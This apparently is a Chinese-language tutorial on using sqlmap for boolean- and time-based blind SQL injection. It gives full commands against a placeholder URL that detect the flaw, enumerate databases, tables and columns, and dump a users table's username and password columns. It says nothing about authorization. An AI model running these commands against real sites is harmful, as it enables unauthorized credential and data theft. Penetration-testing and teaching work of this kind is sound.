如何利用sqlmap来进行盲注?2025.4最新

SQL 盲注是指在目标应用程序没有明确返回 SQL 查询结果的情况下,通过构造特殊的 SQL 语句并根据应用程序的响应(如页面响应时间、返回页面的内容是否变化等)来推断数据库信息。以下是使用sqlmap进行盲注的详细步骤:

1. 准备工作

确保已经安装了sqlmap。在 Linux 系统中,可以通过以下命令克隆sqlmap仓库:

bash

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

对于 Windows 系统,可从 sqlmap 官方 GitHub 仓库 下载压缩包并解压。

2. 检测盲注漏洞

假设目标 URL 为 http://example.com/vulnerable_page.php?id=1,使用以下命令检测是否存在盲注漏洞:

bash

python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --batch --level=3 --risk=3

参数解释:

  • -u:指定目标 URL。
  • --batch:让sqlmap在运行过程中不进行交互询问,自动选择默认选项。
  • --level:指定测试的等级,取值范围是 1 - 5,值越大,测试越全面,默认值为 1。设置为 3 可以增加发现漏洞的可能性。
  • --risk:指定测试的风险等级,取值范围是 1 - 3,值越大,使用的测试 payload 越危险,默认值为 1。

3. 枚举数据库信息

如果检测到存在盲注漏洞,可以开始枚举数据库信息。

枚举所有数据库名

bash

python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --dbs --batch

参数--dbs用于枚举目标数据库中的所有数据库名。

枚举指定数据库中的表信息

假设已知数据库名为testdb,使用以下命令枚举该数据库中的所有表名:

bash

python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb --tables --batch

参数解释:

  • -D:指定要操作的数据库名。
  • --tables:枚举指定数据库中的所有表名。
枚举指定表中的列信息

假设已知表名为users,使用以下命令枚举该表中的所有列名:

bash

python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users --columns --batch

参数解释:

  • -T:指定要操作的表名。
  • --columns:枚举指定表中的所有列名。

4. 转储数据

当你知道了数据库名、表名和列名后,就可以转储指定列的数据。例如,要转储testdb数据库中users表的usernamepassword列的数据,使用以下命令:

bash

python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users -C username,password --dump --batch

参数解释:

  • -C:指定要操作的列名,多个列名用逗号分隔。
  • --dump:转储指定列的数据。

5. 其他有用选项

  • --time-sec:当使用基于时间的盲注时,可以通过该参数指定延迟时间,例如--time-sec=5表示每次注入的延迟时间为 5 秒。
  • --technique=B:明确指定使用布尔盲注(B 代表布尔盲注),如果想使用基于时间的盲注可以使用--technique=T